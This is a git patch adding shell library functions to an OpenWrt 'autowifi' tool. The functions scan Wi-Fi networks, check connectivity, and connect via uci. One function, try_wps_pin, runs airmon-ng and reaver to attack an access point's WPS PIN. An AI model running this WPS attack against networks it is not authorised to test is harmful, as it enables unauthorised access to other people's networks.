From 4fa3206a16921d0a7984b0dcd5ca9086786a31cf Mon Sep 17 00:00:00 2001
From: makefu <github@syntax-fehler.de>
Date: Sat, 25 May 2013 22:48:24 +0200
Subject: refactor functions for reusability

---
 usr/lib/autowifi/lib/iwlist  | 55 ++++++++++++++++++++++++++++++++++++++++++++
 usr/lib/autowifi/lib/network | 12 ++++++++++
 usr/lib/autowifi/lib/openwrt | 18 +++++++++++++++
 usr/lib/autowifi/lib/wps     | 21 +++++++++++++++++
 4 files changed, 106 insertions(+)
 create mode 100644 usr/lib/autowifi/lib/iwlist
 create mode 100644 usr/lib/autowifi/lib/network
 create mode 100644 usr/lib/autowifi/lib/openwrt
 create mode 100644 usr/lib/autowifi/lib/wps

(limited to 'usr/lib/autowifi')

diff --git a/usr/lib/autowifi/lib/iwlist b/usr/lib/autowifi/lib/iwlist
new file mode 100644
index 00000000..a9f77f0c
--- /dev/null
+++ b/usr/lib/autowifi/lib/iwlist
@@ -0,0 +1,55 @@
+#!/bin/sh
+
+print_iwlist_env(){
+    # takes environment:
+    #   count
+    #   MAC
+    #   CHANNEL
+    #   QUALITY
+    #   ENCRYPTION
+    #   ESSID
+    #   WPA
+    #   WPA2
+    for i in ESSID MAC CHANNEL QUALITY ENCRYPTION WPA WPA2;do
+        eval echo ${i}_${count}=\$${i}
+    done
+}
+
+iwlist_scan(){
+    # usage: iwlist_scan $wifi-itf
+    ifconfig $wifi up
+
+    count=0
+    
+    iwlist ${1:-} scan  2>/dev/null | ( while read line;
+    do
+        case "$line" in
+            *"Cell "*)
+                [ $count -eq  0 ] || print_iwlist_env
+                WPA=0
+                WPA2=0
+                : $((count+=1))
+                MAC="${line#*Address: }"
+                ;;
+            *Channel:*)
+                CHANNEL="${line#*:}"
+                ;;
+            *Quality=*)
+                QUALITY="`printf '%s' ${line#*Quality=} | cut -d/  -f 1`"
+                ;;
+            *"Encryption key:"*)
+                ENCRYPTION="${line#*key:}"
+                ;;
+            *ESSID:*)
+                ESSID="${line#*ESSID:}"
+                ;;
+            *"IE: IEEE 802.11i/WPA2"*)
+                WPA2=1
+                ;;
+            *"IE: WPA Version 1"*)
+                WPA=1
+                ;;
+            *);;
+        esac
+    done; print_iwlist_env ;echo WIFI_COUNT=$count)
+}
diff --git a/usr/lib/autowifi/lib/network b/usr/lib/autowifi/lib/network
new file mode 100644
index 00000000..fd2eb6a9
--- /dev/null
+++ b/usr/lib/autowifi/lib/network
@@ -0,0 +1,12 @@
+#!/bin/sh
+check_gateway(){
+    ping -c 1 -w 5 $(ip route | awk '/default/{print $3}')
+}
+check_internet(){
+    secret=$(wget -O- http://euer.krebsco.de/secret)
+    if [ "$secret" == "1337" ]; then
+        return 0
+    else
+        return 1
+    fi
+}
diff --git a/usr/lib/autowifi/lib/openwrt b/usr/lib/autowifi/lib/openwrt
new file mode 100644
index 00000000..3483c1fe
--- /dev/null
+++ b/usr/lib/autowifi/lib/openwrt
@@ -0,0 +1,18 @@
+#!/bin/sh
+connect_wifi(){
+    # channel ssid encryption key
+    uci set wireless.${iface}.mode=sta
+
+    ifconfig $wifi up
+    uci set wireless.${radio}.channel=$1
+    uci set "wireless.${iface}.ssid=$2"
+    if [ $3 == "none" ] ; then
+        uci set wireless.${iface}.encryption=none
+        uci -q delete wireless.${iface}.key
+    else
+        uci set "wireless.${iface}.key=$4"
+        uci set wireless.${iface}.encryption=$3
+    fi 
+    uci commit wireless
+    wifi up
+}
diff --git a/usr/lib/autowifi/lib/wps b/usr/lib/autowifi/lib/wps
new file mode 100644
index 00000000..0fdba0f5
--- /dev/null
+++ b/usr/lib/autowifi/lib/wps
@@ -0,0 +1,21 @@
+#!/bin/sh
+
+try_wps_pin(){
+    # 
+    # ESSID MAC CHANNEL ENC WPA WPA2 PIN
+    #set -ef
+    ESSID="$1"
+    MAC="$2"
+    CHANNEL="$3"
+    ENC="$4"
+    WPA="$5"
+    WPA2="$6"
+    PIN="$7"
+
+    [ "$ENC" == off ] && return 2
+
+    airmon-ng start ${WIFI:-wlan0}  $CHANNEL
+    sleep 1
+    reaver -i mon0 -b $MAC -vv -p "$PIN" -f -c $CHANNEL || :
+    airmon-ng stop mon0
+}
-- 
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